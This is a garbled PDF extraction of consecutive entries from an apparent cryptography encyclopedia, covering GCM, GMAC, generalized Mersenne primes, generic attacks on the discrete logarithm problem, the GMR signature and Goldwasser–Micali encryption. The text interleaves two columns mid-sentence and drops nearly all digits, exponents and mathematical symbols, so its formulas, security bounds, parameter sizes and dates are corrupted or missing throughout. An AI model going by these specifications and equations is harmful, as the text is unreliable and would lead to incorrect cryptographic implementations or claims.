IEEE conference on computer vision and pattern recognition,
grass in the gallery sequence and on concrete in the
Washington, DC
probe sequence, highest reported rank-one recogni-
tion is only % []. Performance degradation might
be even larger for other surface types, such as sand or
gravel that might reasonably be encountered in some
applications. The large effect of surface type on per- Galois Counter Mode
formance suggests that an important future research
topic might be to investigate whether the change in David McGrew
gait with surface type is predictable. For example, given Poolesville, MD, USA
a description of gait from walking on concrete, is it
possible to predict the gait description that would be
obtained from walking on grass or sand? Alternatively, Synonyms
is there some other description of gait that is not as GCM
sensitive to change in surface type?
. Given the data-driven nature of biometrics research, Related Concepts
the key to future progress is such data sets collected Authenticated Encryption; Block Ciphers; MAC
to explore issues not considered or raised by exist- Algorithms; Modes of Operation of a Block Cipher;
ing ones. One idea could be to collect a dataset that Symmetric Cryptosystem
facilitates the better understanding of the variation of
gait due to surface conditions and across elapsed time. Definition
This dataset should include a set of predefined experi- Galois Counter Mode (GCM) is a block cipher mode
ments, designed to study the impact of each covariate, of operation that provides authenticated encryption with
and a baseline performance to beat. associated data. It has a minimal computational cost and is
widely used in practice, especially at higher data rates.
Recommended Reading
. Boulgouris NV, Hatzinakos D, Plataniotis KN () Gait recog-
Background
nition: a challenging signal processing technology for biometric
A mode of operation of a block cipher uses a block
identification. IEEE Signal Proc Mag (): cipher, along with other operations, to encrypt or authen-
. Han J, Bhanu B () Statistical feature fusion for gait-based ticate a message (Encryption and Authentication).
human recognition. In: IEEE conference on computer vision and A mode of operation that provides authenticated encryp-
pattern recognition, II, pp
tion with associated data (AEAD) will encrypt and authen-
. Liu Z, Sarkar S () Simplest representation yet for gait
recognition: averaged silhouette. In: International conference
ticate a message, and at the same time, authenticate (but
on pattern recognition, , pp not encrypt) a string of associated data. In practice, a typ-
. Liu Z, Sarkar S () Effect of silhouette quality on hard prob- ical use of an AEAD algorithm is to protect a packet by
lems in gait recognition. IEEE T Syst Man Cy B (): encrypting and authenticating the body of a data packet,
. Liu Z, Sarkar S () Improved gait recognition by gait dynam-
and authenticating (but not encrypting) the packet header.
ics normalization. IEEE T Pattern Anal ():
. Nixon MS, Carter JN () Advances in automatic gait recogni-
The same block cipher used in different modes of oper-
tion. In: International conference on automatic face and gesture ation can have widely different performance, cost, and
recognition, pp security characteristics. Important performance goals for
. Sarkar S, Phillips PJ, Liu Z, Vega IR, Grother P, Bowyer KW a block cipher mode of operation include minimizing the
() The Human ID gait challenge problem: data sets, per-
time needed to encrypt and/or authenticate a message
formance, and analysis. IEEE T Pattern Anal ():
. Sarkar S, Liu Z () Gait recognition. Handbook of biomet-
and minimizing circuit size. GCM is an AEAD mode of
rics, Springer, Heidelberg operation that meets these goals.
. Tanawongsuwan R, Bobick A () Gait recognition from time- The block cipher encryption of the value X {, }w
normalized joint-angle trajectories in the walking plane. In: with the key K is denoted as E(K, X). An encryption mode
IEEE conference on computer vision and pattern recognition,
of operation partitions the plaintext P into a sequence of n
II, pp
. Tolliver D, Collins R () Gait shape estimation for identifi-
bit strings, in which the bit length of the last bit string is u,
cation. In: International conference on audio- and video-based and the bit length of the other bit strings is w. The sequence
biometric person authentication, pp is denoted as P , P , . . . , Pn , Pn , and the bit strings are
Galois Counter Mode G
called blocks; the last bit string, Pn , may not be a com- returns a w/-bit string containing the nonnegative inte-
plete block. The ciphertext C is similarly partitioned as ger describing the number of bits in its argument, with the
C , C , . . . , Cn , Cn , where the number of bits in the final least significant bit on the right. The block cipher width w
block Cn is u. must be an even number. The additional authenticated data
The Cipher Block Chaining (CBC) mode of operation A is partitioned as A , A , . . . , Am , Am , where the last bit
is a widely used encryption mode, but it cannot easily be string Am may be a partial block of length v, and m and
parallelized, and thus is unsuitable for high data rates. The v denote the unique pair of positive integers such that the
CBC encryption operation computes the ciphertext blocks total number of bits in A is (m )w + v and v w,
as Ci = E(K, Pi Ci ). The values of the inputs in each when length(A) > ; otherwise m = v = . The input C
block cipher evaluation depend on the ciphertext output is partitioned into w-bit blocks C , C , . . . , Cn , Cn , where
of the previous block cipher evaluation. Thus, the block Cn has length v. The universal hash function is defined by
cipher evaluations must be performed serially, and not in U(H, A, C) = Xm+n+ , where the variables Xi GF(w ) for
parallel. i = , . . . , m + n + are defined recursively as
Counter mode (CTR) is an encryption mode in which
block cipher evaluations can be computed in parallel,
for i =
because each plaintext input to each block cipher evalua-

G

(X i A i ) H for i = , . . . , m

tion, during an encryption and decryption, is independent

(X m (Am )) H
wv
for i = m
Xi =
of all block cipher outputs. The CTR encryption process

(X i C im ) H for i = m + , . . . , m + n

determines the ciphertext as Ci = Pi E(K, Yi ) where Yi

(X m+n (Cn wu )) H for i = m + n

is a counter; Yi = incr(Yi ) for i > , and Y is the ini-

(X m+n (length(A)length(C))) H for i = m + n + .
tial counter value. The increment function incr() updates
the counter; this function and the choice of initial counter Here the value H is the hash key. The expression l denotes
values ensure that all counters are unique, for each key K. a string of l zero bits, and AB denotes the concatenation
A typical block cipher consists of a round function that of two bit strings A and B.
is iterated r times. CTR encryption can be efficiently imple- The GCM authenticated encryption operation takes as
mented at high data rates by using a pipeline of r round inputs a secret key K, initialization vector IV, a plaintext
functions. Each successive round function will have data P, and additional authenticated data A, and gives as its
corresponding to successive plaintext blocks. In this case, outputs a ciphertext C and an authentication tag T. The
CTR can encrypt r times as much data as CBC with the operation is defined as
same size circuit. w
H = E(K, )

IV if length(IV) = w
Theory Y =

U(H, {}, IV) otherwise.
While CTR provides efficient encryption, it does not pro-
vide any message authentication. GCM addresses this Yi = incr(Yi ) for i = , . . . , n ()
shortcoming by combining CTR encryption with a mes- Ci = Pi E(K, Yi ) for i = , . . . , n
sage authentication code (MAC Algorithms) based on a
Cn = Pn MSBu (E(K, Yn ))
universal hash function U. After the ciphertext has been
T = MSBt (U(H, A, C) E(K, Y ))
produced during an encryption operation, the hash of the
associated data and the ciphertext is computed, then the The function MSBt (S) takes a bit string S and returns the
result is encrypted with K to produce an authentication bit string containing only the leftmost t bits of S, and the
tag T. tag-length parameter t is fixed for each instance of the key.
The function U is a polynomial hash in a finite field of The hash key H is computed from K and can optionally be
characteristic two. The message being hashed is partitioned cached between invocations.
into blocks, and the blocks are treated as the coefficients The initial counter Y is computed from the IV; if the
of a polynomial in the field GF(w ), and the polynomial is IV is not exactly w bits in length, then the hash U is
evaluated at the hash function key, using Horners method. applied to the IV. Performance at high data rates is better if
The multiplication of two elements X, Y GF(w ) is the IV matches that length. The symbol {} denotes the bit
denoted as X Y, and the addition of X and Y is denoted string with zero length. The particular increment function
as X Y. The function length(S) takes a bit string S incr() used in GCM treats the rightmost bits of its argu-
with a length between zero and w/ , inclusive, and ment as a nonnegative integer with the least significant bit
G Galois Message Authentication Code
on the right, and increments this value modulo , that is, MAC of M can be easily computed from the MAC of M.
incr(FI) is F(I + mod ). This property of GMAC follows from the algebraic prop-
The inputs P, A, IV, C, and T are bit strings with lengths erties of its hash function; it is highly useful for protecting
that obey the following relations: data at rest.

length(P) ( )w
w/
Open Problems
length(A) GCM has been criticized for being vulnerable to a multiple
< length(IV)
w/
() forgery attacks, in which an attacker who succeeds in craft-
ing a single forgery will be able to use information gleaned
length(C) = length(P)
from that success to perpetrate additional forgeries.
length(T) = t w, This is not a significant security issue unless the authenti-
where the secret key K has a length appropriate to the block cation tag size t is small. Another criticism is that security
cipher, and is only used as an input to that cipher. For each degrades with the length of messages that are processed.
fixed value of K, it is essential for security that each value of These demerits are due to the choice of hash function used
the IV must be distinct, but those IV values need not have in GCM, which also bring low computational cost and low
equal lengths. latency. It is an open problem to design an authenticated
The GCM authenticated decryption operation accepts encryption algorithm with all of its benefits, but none of
the inputs K, IV, C, A, and T, as defined above. It outputs its demerits.
either the plaintext value P or the special symbol FAIL that
indicates that its inputs are not authentic. Recommended Reading
GCM is secure in the standard adaptive chosen plain- . Dworkin M (Nov ) Recommendation for block cipher modes
text and chosen ciphertext model of concrete security. of operation: galois/counter mode (GCM) and GMAC. NIST Spe-
cial Publication -D, National Institute of Standards and
If the block cipher cannot be distinguished from a random Technology, Gaithersburg
permutation, then an adversary will be unable to distin- . McGrew D (Dec ) Efficient authentication of large, dynamic
guish GCM ciphertexts from random strings of the same data sets using Galois/counter mode (GCM). In: Third interna-
length, and will be unable to forge GCM authentication tional IEEE security in storage workshop, San Francisco
tags. This is true as long as the following bounds on the . McGrew D, Viega J (Oct ) The security and performance of
the Galois/counter mode (GCM) of operation. In: Proceedings
amount of data processed are respected, for a fixed value of INDOCRYPT, Chennai. Springer, Berlin. Full paper avail-
of the key: able from the IACR cryptology ePrint archive: Report /.
w w http://eprint.iacr.org///
(lP /w + q) q((lP /w + q)lIV /w + +
t
l/w + )
where the number of encryption and/or decryption oper-
ations is q, the total number of plaintext or ciphertext bits Galois Message Authentication
processed is denoted lP and where length(C)+length(A) Code
l and length(IV) lIV for each query.
GMAC
Applications
GCM is used in a wide number of standards, including
IEEE .AE Ethernet Security, IETF Internet Protocol Gap
Security (IPsec) and Transport Layer Security (TLS), and
IEEE . storage encryption. The algorithm itself is rec-
Tor Helleseth
ommended in NIST Special Publication -D.
The Selmer Center, Department of Informatics,
When GCM is used with zero-length plaintext input,
University of Bergen, Bergen, Norway
it acts as a message authentication code (MAC). This use
is called GMAC, and it is an incremental MAC: after com-
puting the GMAC value of message M, the computational Related Concepts
cost of computing the GMAC value of message M is pro- Golombs Randomness Postulates; Maximal-Length
portional to the hamming weight between those messages. Linear Sequences; Pseudo-Noise Sequences (PN-
If the messages differ in only a few bit locations then the Sequences); Run; Sequences
Generalized Mersenne Prime G
Definition replaced by a small number of additions and subtractions

A gap of length k in a binary sequence is a set of k consec- and some bit shifts.
utive s flanked by s (run). In practice, m is taken to be a multiple of the word size
of the machine in order to eliminate the need for shifting
Applications bits within words. The precise rule for modular reduction
The number of gaps in a sequence is important in (modular arithmetic) depends on f (t).
Golombs randomness postulates [] to evaluate the ran- The simplest example is
domness of a sequence.
p = .
Recommended Reading In this case, f (t) = t t , and one has
i
in information systems. Holden-Day, San Francisco. Revised ed., ci t b t + b t + b (mod f (t)),
Aegean Park Press, Laguna Hills, i=
where
b = a + a + a G
GCD b = a + a + a + a
b = a + a + a .
Greatest Common Divisor
This yields the following reduction algorithm for p =
f ( ). A positive integer modulo p is represented as the
concatenation of six -bit words
GCM
(c c c c c c ),
Galois Counter Mode which represents

c = ci i .
i=
Gene
Then
c s + s + s + s (mod p),
DNA
where the si are the integers represented by the following
concatenations of the six words:
Generalized Mersenne Prime s = (c c c )

s = ( c c )
s = (c c )
Jerome A. Solinas
s = (c c c ).
National Security Agency, Ft Meade, MD, USA
In the general case, one derives the reduction formulae by
writing down the reductions (mod f (t)) of t j for d j < d,
Definition where d is the degree of f . One then rearranges the terms
Generalized Mersenne Prime is a prime number of
to minimize the numbers of additions and subtractions.
the form
m Details can be found in [].
p = f ( ),
To find a generalized Mersenne prime of a given bit
where f (t) is a low-degree polynomial with small integer size, one lists the small-coefficient integer polynomials
coefficients. f (t) of appropriate degrees and chooses the one for which
f (m ) is prime and whose reduction rules require the
Applications smallest number of additions and subtractions.
Generalized Mersenne primes are useful in public-key The US National Institute for Standards and Technol-
cryptography because reduction modulo these primes can ogy (NIST) has standardized four generalized Mersenne
be very fast using a generalization of the technique used for primes, including the above example, in its Digital
Mersenne primes. In particular, the integer division by p is Signature Standard [].
G Generator
A useful generalization of generalized Mersenne only if every element y in the group can be expressed as
primes is generalized Mersenne numbers. A near-prime
y = gx
(i.e., a small multiple of a large prime) of the general-
ized Mersenne form can be used in elliptic curve cryp- for some x. Every cyclic group has at least one generator,
tography almost as easily as a prime modulus. If m is a and a group that is generated by a single element is cyclic
generalized Mersenne number divisible by a large prime by definition.
p, then one implements the cryptography over an ellip- When the group is a multiplicative group modulo an
tic curve over the field F p . The arithmetic is carried out integer n, a generator is also called a primitive root of n.
modulo m (using the appropriate reduction rules) and is
additionally reduced modulo p at the end of the calcula- Applications
tion. This can sometimes be advantageous if a generalized A generator (sometimes also called the base) is one of the
Mersenne near-prime exists requiring significantly fewer parameters in several cryptosystems, including Diffie
additions and subtractions than any available generalized Hellman key agreement and the Digital Signature
Mersenne prime. Standard.
Recommended Reading
. Federal Information Processing Standard (FIPS) -
(June ) Digital signature standard. http://csrc.nist.gov/
Generic Attacks Against DLP
publications/PubsFIPS.html
. Solinas JA () Generalized Mersenne numbers. Centre for Dan Gordon
Applied Cryptographic Research (CACR) Tech. Report . IDA Center for Communications Research, San Diego,
http://www.cacr.math.uwaterloo.ca/
CA, USA
Synonyms
Generator Black box algorithms
Burt Kaliski
Related Concepts
Computational DiffieHellman Problem; Discrete Log-
Office of the CTO, EMC Corporation, Hopkinton, MA,
USA arithm Problem; Elliptic Curve Discrete Logarithm
Problem; Function Field Sieve; Index Calculus Method;
Multi-threaded Implementation for Cryptography and
Synonyms Cryptanalysis; Number Field Sieve for DLP
Base
Definition
Related Concepts Given elements g and y in a cyclic group G, the discrete
Group; Order; Primitive Element; Subgroup
logarithm problem (DLP) is to find an x such that g x = y.
An algorithm for solving the DLP that does not use any
properties of G, but only composes, inverts, and compares
Definition
elements g a and yb , is called a generic algorithm.
A generator is an element of a group from which all
other elements of the group may be obtained by repeated
Background
application of the group operation.
Let G be a cyclic group of order n. Nechaev [] and
Shoup [] Showed that generic algorithms against the DLP
Theory
in G must take ( n) time (O-notation). Shor showed
An element g of a group is said to generate that group if that a quantum computer can solve a discrete logarithm
the set of elements problem in any group in polynomial time, but whether a

g, g , g , . . . sufficiently large quantum computer can be built is still
an open problem, refer post-quantum cryptography for
(where the group law is denoted here as multiplication) tra- details.
verses all of the elements in the group. Such an element is a A black box group is a group where the elements are
generator. In other words, g is a generator of a group if and encoded as bit strings, and group operations are done by
Generic Attacks Against DLP G
an oracle. For such a group, the only method of solving the hi

DLP is a generic algorithm.
h2
Theory hj1
Shanks [] gave the first generic algorithm better than a

brute-force search. Let m = n. He constructs two h1
tables, one starting at and taking giant steps of length m:
, g m , g m , . . . , g (m)m h0
and one of baby steps of length y:
y, yg, yg , . . . , yg m . Generic Attacks Against DLP. Fig. Rho method walk, with a
collision at hi = hj
He then sorts these lists and looks for a match. If he finds
g im = yg j , then y = g imj , and so x = imj. Any x [, n]
may be written in this form for i, j m, so this algorithm The rho method has two main drawbacks. One is that
G
will always succeed. it is difficult to parallelize. Having k processors do random

The time for this algorithm is O( n) group oper- walks only results in an O( k) speedup since the differ-
ations, plus the time to find collisions in the two lists. ent walks are independent, and the probability of one of k
This may be done either by sorting the lists or using hash cycles of length l having a collision is much less than one
tables. cycle of length kl. Another is that after the collision occurs,
The drawback to Shanks baby-step giant-step algo- many more steps around the cycle are needed before the

rithm is that it requires O( n) space as well as time. collision is detected. Parallelized collision search [] is a
Pollard [] gave two methods that use negligible space and variant of the rho method which fixes both problems.

still run in O( n) time: the rho method and the kangaroo Designate a small fraction of elements of G distin-
method. They are not deterministic but depend on taking guished points, say ones for which the last several bits of the
pseudorandom walks in G. representation of the element are all zero. Then a walk will
For the Pollard rho method, divide the elements of G begin at a random point, proceed as for the rho method,
into three subsets, S , S , and S , say by the value of a hash and end when a distinguished point is hit. That point is
of the elements modulo three. Define a walk by h = and saved, along with the starting point of the path, and then a
new walk is begun at a new random point. When a distin-

hi y if hi S
guished point is hit for the second time, the collision will
hi+ = hi if hi S

with high probability determine x.
hi g if hi S By picking the right fraction of elements of G to be
At each step distinguished points, one may ensure that not too much
hi = g ai ybi = g ai +xbi memory is needed to store the paths, and not much time
is wasted after a collision occurs. Also, this algorithm
for some ai , bi . (In particular, (a , b ) = (, ) initially, and may be trivially parallelized, with a linear speedup. For
(ai+ , bi+ ) = (ai , bi + ), (ai , bi ), or (ai + , bi ), depend- an overview of parameter choices see Teske []. Figure
ing on the hash value.) Eventually, this walk must repeat. If illustrates this method.
hi = hj , then Another method due to Pollard also uses a random
aj ai
x (mod n). walk in G. In the kangaroo method, the steps are limited:
bi bj h hg s(h) , where the hop length s(h) is a pseudoran-

If bi bj is relatively prime to n (which is very likely if n dom function of h with values between and n.
is prime), this gives x. Figure illustrates the rho method The idea is to start from two points, say g (the tame
walk. kangaroo, since its discrete logarithm is known at all times)
Rather than store all of the steps to detect a collision, and y (the wild kangaroo), and alternately take hops with
one may simultaneously compute hi and hi , and continue length determined by s(h). Set traps when a kangaroo
around the cycle until they agree. Assuming that this map hits a distinguished point. If the wild kangaroo and tame

behaves as a random walk, O( n) steps will suffice to find kangaroo paths meet or coalesce at any point, they will
a repeat. take the same hops from then on, so any traps encountered
G Generic Model
by Monico solved the challenge for a curve over a prime

field in and a curve over GF( ) in , using par-
allelized collision search. Work has begun on an attack on
a challenge curve over GF( ) [].
Recommended Reading
. Bailey DV, Baldwin B, Batina L, Bernstein DJ, Birkner P, Bos JW,
van Damme G, de Meulenaer G, Fan J, Gneysu T, Gurkaynak F,
Kleinjung T, Lange T, Mentens N, Paar C, Regazzoni F, Schwabe P,
Uhsadel L () The certicom challenges ECC-X. In: Workshop
record of SHARCS : special purpose hardware for attacking
cryptographic systems, pp
. Nechaev VI () On the complexity of a deterministic algo-
rithm for a discrete logarithm. Math Zametki :
Generic Attacks Against DLP. Fig. Parallelized collision . van Oorschot PC, Wiener MJ () Parallel collision search with
search paths, with three distinguished points and one collision cryptanalytic applications. J Cryptol :
. Pollard JM () Monte Carlo methods for index computation
(mod p). Math Comput :
. Shanks D () Class number, a theory of factorization, and
genera. In: Number Theory Institute, proceedings of sym-
Wild kangaroo posia in pure mathematics, vol XX, State University of New York,
Stony Brook, NY. American Mathematical Society, Providence,
pp
. Shoup V () Lower bounds for discrete logarithms and related
Tame kangaroo problems. In: Fumy W (ed) Advances in cryptology EURO-
Coalescence
CRYPT. Lecture notes in computer science, vol . Springer,
Berlin, pp
. Teske E () Square-root algorithms for the discrete logarithm
problem (a survey). In: Public-key cryptography and computa-
tional number theory. de Gruyter, Berlin, pp
Trap
Generic Model
David Naccache
Generic Attacks Against DLP. Fig. Kangaroo method paths, Dpartement dinformatique, Groupe de cryptographie,
with one distinguished point and collision cole normale suprieure, Paris, France
by one after they coalesce will also so be encountered by the Related Concepts
other. When one reaches a trap that the other one hit, the Random Oracle Model; Security Proofs; Standard
resulting collision determines x. Model
The main advantage of the kangaroo method is when
x is known to be in a certain range, say [, L] for some Definition
L G. In that case, one may start the tame kangaroo The generic group model is an idealized cryptographic
from g L/ , and the wild kangaroo from y. A collision is model, where the adversary is only given access to a ran-
before getting far out of [, L], and so this will take
likely domly chosen encoding of a group, instead of efficient
O( L) time. See Fig. for an illustration. encodings, such as those used by the finite field or ellip-
tic curve groups used in practice. The model includes an
Experimental Results oracle that executes the group operation. This oracle takes
In , Certicom issued a series of ECC challenges. The two encodings of group elements as input and outputs an
elliptic curve discrete logarithm problems posed as chal- encoding of a third element. The generic model is some-
lenges ranged from easy (curves over -bit fields) to very times criticized as being an excessive idealization of cryp-
difficult (-bit fields). The largest challenge problems tographic reality. The generic group model suffers from
solved to date are curves over -bit fields. A group lead some of the same problems as the random oracle model.
GMAC G
Namely, it has been shown that there exist cryptographic the finite field GF(n ); the specification of GMAC is part
schemes which are provable secure in the generic group of the GCM mode for authenticated encryption that was
model, but which are trivially insecure once the random standardized in by NIST [, ].
group encoding is replaced with any efficiently computable
instantiation of the encoding function. Theory
GMAC is a randomized MAC algorithm. In contrast to
Recommended Reading CBC-MAC, GMAC computations can be parallelized.
. Rogaway P () On the role definitions in and beyond cryptog- The encryption with the block cipher E using the key
raphy. In: Maher MJ (ed) ASIAN . LNCS, vol . Springer,
K will be denoted with EK (.). An n-bit string consisting of
Heidelberg, pp
zeros will be denoted with n . The length of a string x in
bits is denoted with x. The function MSBm (.) selects the
leftmost m bits of its input.
GMAC uses a block cipher with block length n =
Genetic Code bits and key length k bits. GMAC operates on
messages of bitlength at most . It requires an IV G
DNA
with IV . It is critically important for the
security of GMAC that an IV value is never reused with
the same key.
Geometry of Numbers First the value H is computed as H EK ( ). If
IV = , the masking key K is defined as EK (IV )
Lattice (for other lengths of the IV, see []). Subsequently the
message x is right-padded with bits until its length is a
multiple of . Next x is represented as a -bit string
GMAC and concatenated with ; the resulting value is appended
to the message.
The padded message x is now divided into t blocks
Bart Preneel
of bits denoted with xi , i t . All inputs to the
GMAC function (H, K , and the xi ) are now considered as
elements of GF( ). GMAC can be described as follows:

t
GMACK (x) = MSBm K + xi H t +i .
Synonyms i=
Galois message authentication code
If the block cipher is pseudorandom and the IV is never
Related Concepts reused, the security of GMAC is well understood: The
Finite Fields; MAC Algorithms probability of sending an acceptable tag without having
observed a text/tag pair (the impersonation probability)
Definition equals m , while the probability of forging a text/tag pair
GMAC is a MAC algorithm based on a universal hash after having observed one pair (the substitution proba-
function that uses polynomial evaluation in a finite field bility) is equal to t / ; this imposes restrictions on the
of characteristic two. The polynomial with as coefficients message length. These are general results for polynomial
the message blocks is evaluated in a secret key. The result MAC algorithms [, ]. In GMAC however, the key H is
is encrypted using a block cipher (e.g., AES) in Counter reused many times; McGrew and Viega provide an analysis
Mode. that take into account the reuse of H and the details of the
GMAC construction (such as the padding). The GMAC
Background standard imposes that a single key K can only be used
Information theoretic authentication was developed in the with at most messages, in order to guarantee a forgery
s by Simmons [] and Carter and Wegman [, ]. probability less than .
The polynomial construction has been proposed by several Joux has pointed out that a repeated IV results in a
authors including Bierbrauer et al. [] and den Boer [] trivial key recovery []. Ferguson has demonstrated that
in . GMAC is a polynomial authentication code over making m too small brings security risks. Handschuh and
G GMR Signature
Preneel discuss some further issues related to partial key Definition

leakage []. This shows that in spite of the fact that one can The GMR Signature Scheme was invented by Goldwasser
prove elegant bounds on the forgery probability, GMAC is et al. [, ]. In their landmark publication [], they pre-
perhaps less robust that one would hope for. sented a formal framework of security definitions of cryp-
One way to make polynomial MAC algorithms more tographic signature schemes (digital signature schemes
robust is to use a different key H for each message; this and public key cryptography) and proposed the GMR
approach has been taken in the SNOW G specification []. Signature Scheme, which, under the assumption that
integer factoring is hard, is provably secure by their
Recommended Reading strongest security definition, i.e., it resists existential
. GPP TS . () Specification of the GPP confidentiality forgery under an adaptive chosen message attack.
and integrity algorithms UEA & UIA; Document : SNOW G
specification, Mar
. Bierbrauer J, Johansson T, Kabatianskii G, Smeets B () On Background
families of hash functions via geometric codes and concatena- The value of the GMR Signature Scheme is not in its prac-
tion. In: Stinson D (ed) Advances in cryptology. Proceedings tical use, but in showing the existence of a provably secure
of the Crypto . Lecture notes in computer science, vol .
signature scheme. Other more efficient signature schemes
. Carter JL, Wegman MN () Universal classes of hash func-
such as RSA digital signature scheme, DSA, or ECDSA
tions. J Comput Syst Sci : (digital signature standard) are memoryless. In order to
. den Boer B () A simple and key-economical unconditional produce a signature, one does not need to memorize any
authentication scheme. J Comput Sec : previously produced signatures (in whole or in part). Also,
. Ferguson N () Authentication weaknesses in GCM. http://
the computational effort of signing and verifying and the
csrc.nist.gov / groups /ST/ toolkit /BCM/documents/comments/
CWC-GCM/Ferguson.pdf
length of signatures are independent of the number of sig-
. Handschuh H, Preneel B () Key-recovery attacks on uni- natures a signer has produced before. In contrast, the GMR
versal hash function based MAC algorithms. In: Wagner D Signature Scheme is not memoryless, i.e., each signature
(ed) Advances in cryptology. Proceedings of the Crypto . a signer produces depends on every other signature the
signer has produced before. Even worse, the computation
pp
. Joux A () Authentication failures in NIST version of GCM.
time to produce and to verify a signature and the length of
http://csrc.nist.gov/CryptoToolkit/modes/ a signature increase (logarithmically) with the number of
. McGrew DA, Viega J () The security and performance of the signatures that a signer has produced before. At the cost
Galois/counter mode (GCM) of operation. In: Canteaut A (ed) of some memory, the average signing performance can
Proceedings of the Indocrypt . Lecture notes in computer
be made independent of the number of signatures that a
. National Institute of Standards and Technology (NIST)
signer has produced before. In essence, the overall perfor-
() Recommendation for block cipher modes of operation: mance of the GMR Signature Scheme (in terms of time
Galois/counter mode (GCM) and GMAC. SP -D (earlier and memory) decreases steadily over the lifetime of each
drafts published in May , Apr , June ). National signing key pair.
Institute of Standards and Technology, Gaithersburg
. Simmons GJ () A Survey of information authentication.
In: Simmons GJ (ed) Contemporary cryptology: the science of Theory
information integrity. IEEE Press, Piscataway, pp In a nutshell, the GMR Signature Scheme works as fol-
. Wegman MN, Carter JL () New hash functions and their lows: a signer who anticipates to produce b signatures
use in authentication and set equality. J Comput Syst Sci ():
constructs a key pair for security parameter k as follows:

The public verifying key consists of four components:
. The maximum number B = b (b N ) of messages to
be signed.
GMR Signature . Two randomly chosen Blum integers n = p q and
n = p q , i.e., each the product of two prime num-
Gerrit Bleumer bers both congruent to modulo , but not congruent
Research and Development, Francotyp Group, to each other modulo , such that n and n are each of
Birkenwerder bei Berlin, Germany length k-bit.
. The two infinite families of pairwise claw-free trap-
Related Concepts door permutations (trap-door one-way functions)
len(i)
Digital Signature; Forgery fi,n (x) = rev(i) x mod n for n = n and n = n ,
GMR Signature G
where the function rev() takes a bit string i {, }+ A verifier checks the signature by computing from
and returns the integer represented by the bits of i in the message m up to the signers root element r as fol-
reversed order, and the function len() takes a bit string lows: First check that fm,n (s) = r , and then check that
i {, }+ and returns its number of bits. The sign fr ,n (t) = r.
plus or minus is selected such that the image of finn is If there are B = b > messages to be signed, the
positive and smaller than n/. signer expands the root element r from the case B =
. A randomly chosen integer r in the domain of fi,n (). above into a binary authentication tree (Merkle []) with
B leaves r , r , . . . , rB . All nodes of the authentication
The private signing key consists of the primes p, q, p,
tree except for the root r are chosen uniformly at ran-
q, which allow to efficiently compute the inverse permu-
dom from the domain of f i,n () analogously to r in ()
tations fi,n (y) and fi,n (y).

above. Each node R is unforgeably tied to both its children
Let us first consider the simple case of signing only one
R and R by computing a tag fR R ,n (R) analogously to
message m, i.e., B = and b = . The signer chooses a ran-
how the tag t was computed in () above. Finally, the mes-
dom element r from the domain of fi,n () and computes
sage mj ( j B ) is unforgeably tied to rj , which
the signature (t, r , s) for m such that:
hangs off of the jth leaf of the authentication tree by com-

t = fr ,n (r) and

s = fm,n (r ). () puting a tag sj = fmj , n (rj ) analogously to how the tag s
G
was computed in () above. The signature for message mj
The signature (t, r , s) is displayed in Fig. as a chain
then consists of (a) the sequence of b nodes from the root
connecting the signers root element r with the actual
r down to item rj , (b) the b tags associated to these nodes
message m.
(analogously to t above), and (c) the tag sj (analogously to s
above). The authentication tree and associated tags for the
r case B = , b = is depicted in Fig. as a binary tree
connecting the signers root element r with the B messages
m , m , . . . , mB .
t
A verifier can check the signature in reverse order
r0 beginning from the message mj and working back up to
the root element r of the signer.
s Obviously, the authentication tree need not be pre-
computed in the first place, but can be built step by step
m
as the need arises. For example, signing the first mes-
sage requires one to compute the complete path from
GMR Signature. Fig. Signing one message the root r down to the item r , but signing the sec-
ond message only requires one to build one more leaf
r
of the authentication tree and the next item r , while
all previously built nodes of the authentication tree can
T0 T1 be reused. So, on average, each signature requires one
to build two new nodes of the authentication tree and
R0 R1 one additional item. A complete security analysis is given
in [].
T00 T01 T10 T11
R00 R01 R10 R11

Recommended Reading
t0 t1 . Goldwasser S, Micali S, Rivest RL () A Paradoxical solu-

tion to the signature problem. th symposium on founda-
r0 r1 tions of computer science (FOCS) . IEEE Computer Society,
Washington, DC, pp
s0 s1
Comput ():
m0 m1 . Merkle R () Secrecy authentication, and public-key systems.
Ph.D. dissertation, Electrical Engineering Department, ISL SEL
GMR Signature. Fig. Signing more than one message -k, Stanford University, Stanford
G GoldwasserMicali Encryption Scheme
GoldwasserMicali Encryption Golombs Randomness Postulates

Scheme
Tor Helleseth
Kazue Sako The Selmer Center, Department of Informatics,
NEC, Kawasaki, Japan University of Bergen, Bergen, Norway
Related Concepts Related Concepts

Probabilistic Encryption; Public Key Cryptography; Autocorrelation; Gap; Maximal-Length Linear
Public Key Encryption Scheme; Semantic Security Sequences; Pseudo-Noise Sequences (PN-Sequences);
Run; Sequences
Definition Definition
GoldwasserMicali Encryption scheme is an encryption Golombs randomness postulates are three properties that
scheme that was proposed in the paper probabilistic one expects to find in random sequences.
encryption in .
No finite sequence constructed by a linear feedback shift
Background register is a truly random sequence. Golomb [] introduced
The GoldwasserMicali encryption scheme (Public Key the notion of a pseudo-random sequence for a periodic
Cryptography) is the first encryption scheme that achieved binary sequence that satisfies three randomness postulates.
Semantic Security against a passive adversary under the These postulates reflect the properties one would expect to
assumption that solving the quadratic residuosity problem find in a random sequence.
is hard. The scheme encrypts bit of information, and the A run in a binary sequence is a set of consecutive
length of the resulting ciphertext equals the length of the s or s. A run of s is denoted a gap and a run of s
composite number n used in scheme, which is typically is denoted a block. A gap of length k is a set of k con-
thousands of bits long. secutive s flanked by s. A block of length k is a set of k
consecutive s flanked by s. A run of length k is is a gap
of length k or a block of length k. In this terminology, the
Theory three randomness postulates of a periodic sequence are as
In the GoldwasserMicali encryption scheme, a public key follows:
is a number n, that is a product of two prime numbers, R- In a period of the sequence, the number of s and the
say p and q. Let Y be a quadratic nonresidue modulo n number of s differ by at most one.
(Quadratic Residue and Modular Arithmetic), whose R- In every period, half the runs have length , one-
Jacobi Symbol is . The decryption key is formed by the fourth have length , one-eight has length , etc., as
prime factors of n. long as the number of runs so indicated exceeds .
The GoldwasserMicali encryption scheme encrypts a Moreover, for each of these lengths, there are equally
bit b as follows. One picks an integer r( < r < n ) and many gaps and blocks.
outputs c = Y b r mod n as ciphertext. That is, c is quadratic R- The out-of-phase autocorrelation of the sequence
residue if and only if b = . Therefore a person knowing the always has the same value.
prime factors of n can compute the quadratic residuosity of
the ciphertext c, thus obtaining the value of b. The R- postulate implies the R- postulate, but other-
If the quadratic residuosity problem is hard, then wise the postulates are independent, which follows from
guessing the message from the ciphertext is equiva- the observation that there exist sequences that satisfies
lently hard. some but not all of the postulates. Some examples are:
Example The m-sequence
of period is an R-, R-, and R- sequence.
Recommended Reading
